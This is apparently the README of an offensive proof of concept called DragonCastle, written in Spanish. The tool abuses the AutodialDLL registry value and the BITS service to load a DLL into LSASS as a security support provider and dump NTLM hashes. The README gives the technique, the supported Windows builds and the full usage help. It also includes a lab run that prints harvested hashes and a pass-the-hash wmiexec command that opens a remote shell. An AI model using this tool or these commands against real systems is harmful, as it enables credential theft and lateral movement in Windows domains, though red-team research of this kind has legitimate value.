
Un PoC que combina la técnica de movimiento lateral AutodialDLL y SSP para extraer hashes NTLM del proceso LSASS.
Un PoC que combina la técnica de movimiento lateral AutodialDLL y SSP para extraer hashes NTLM del proceso LSASS.
Sube un DLL a la máquina objetivo. Luego habilita el registro remoto para modificar la entrada AutodialDLL e iniciar/reiniciar el servicio BITS. Svchosts cargará nuestro DLL, restablecerá AutodialDLL a su valor predeterminado y realizará una solicitud RPC para forzar a LSASS a cargar el mismo DLL como un Security Support Provider. Una vez que el DLL es cargado por LSASS, buscará dentro de la memoria del proceso para extraer hashes NTLM y la clave/IV.
El DLLMain siempre devuelve False para que los procesos no lo mantengan.
Solo funciona cuando RunAsPPL no está habilitado. Además, solo agregué soporte para descifrar 3DES porque soy flojo, pero debería ser muy fácil agregar código para AES. Por la misma razón, solo implementé soporte para las siguientes versiones de Windows:
| Compilación | Soporte |
|---|---|
| Windows 10 versión 21H2 | |
| Windows 10 versión 21H1 | Implementado |
| Windows 10 versión 20H2 | Implementado |
| Windows 10 versión 20H1 (2004) | Implementado |
| Windows 10 versión 1909 | Implementado |
| Windows 10 versión 1903 | Implementado |
| Windows 10 versión 1809 | Implementado |
| Windows 10 versión 1803 | Implementado |
| Windows 10 versión 1709 | Implementado |
| Windows 10 versión 1703 | Implementado |
| Windows 10 versión 1607 | Implementado |
| Windows 10 versión 1511 | |
| Windows 10 versión 1507 | |
| Windows 8 | |
| Windows 7 |
Las firmas/offsets/estructuras fueron tomadas de Mimikatz. Si deseas agregar una nueva versión, solo verifica la funcionalidad sekurlsa en Mimikatz.
psyconauta@insulanova:~/Research/dragoncastle|⇒ python3 dragoncastle.py -h
DragonCastle - @TheXC3LL
usage: dragoncastle.py [-h] [-u USERNAME] [-p PASSWORD] [-d DOMAIN] [-hashes [LMHASH]:NTHASH] [-no-pass] [-k] [-dc-ip ip address] [-target-ip ip address] [-local-dll dll to plant] [-remote-dll dll location]
DragonCastle - A credential dumper (@TheXC3LL)
optional arguments:
-h, --help show this help message and exit
-u USERNAME, --username USERNAME
valid username
-p PASSWORD, --password PASSWORD
valid password (if omitted, it will be asked unless -no-pass)
-d DOMAIN, --domain DOMAIN
valid domain name
-hashes [LMHASH]:NTHASH
NT/LM hashes (LM hash can be empty)
-no-pass don't ask for password (useful for -k)
-k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line
-dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
-target-ip ip address
IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name or Kerberos name and you cannot resolve it
-local-dll dll to plant
DLL location (local) that will be planted on target
-remote-dll dll location
Path used to update AutodialDLL registry value
Servidor Windows en 192.168.56.20 y Controlador de Dominio en 192.168.56.10:
psyconauta@insulanova:~/Research/dragoncastle|⇒ python3 dragoncastle.py -u vagrant -p 'vagrant' -d WINTERFELL -target-ip 192.168.56.20 -remote-dll "c:\dump.dll" -local-dll DragonCastle.dll
DragonCastle - @TheXC3LL
[+] Connecting to 192.168.56.20
[+] Uploading DragonCastle.dll to c:\dump.dll
[+] Checking Remote Registry service status...
[+] Service is down!
[+] Starting Remote Registry service...
[+] Connecting to 192.168.56.20
[+] Updating AutodialDLL value
[+] Stopping Remote Registry Service
[+] Checking BITS service status...
[+] Service is down!
[+] Starting BITS service
[+] Downloading creds
[+] Deleting credential file
[+] Parsing creds:
============
----
User: vagrant
Domain: WINTERFELL
----
User: vagrant
Domain: WINTERFELL
----
User: eddard.stark
Domain: SEVENKINGDOMS
NTLM: d977b98c6c9282c5c478be1d97b237b8
----
User: eddard.stark
Domain: SEVENKINGDOMS
NTLM: d977b98c6c9282c5c478be1d97b237b8
----
User: vagrant
Domain: WINTERFELL
NTLM: e02bc503339d51f71d913c245d35b50b
----
User: DWM-1
Domain: Window Manager
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: DWM-1
Domain: Window Manager
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: WINTERFELL$
Domain: SEVENKINGDOMS
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: UMFD-0
Domain: Font Driver Host
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User:
Domain:
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User:
Domain:
============
[+] Deleting DLL
[^] Have a nice day!
psyconauta@insulanova:~/Research/dragoncastle|⇒ wmiexec.py -hashes :d977b98c6c9282c5c478be1d97b237b8 SEVENKINGDOMS/[email protected]
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
sevenkingdoms\eddard.stark
C:\>whoami /priv
PRIVILEGES INFORMATION
----------------------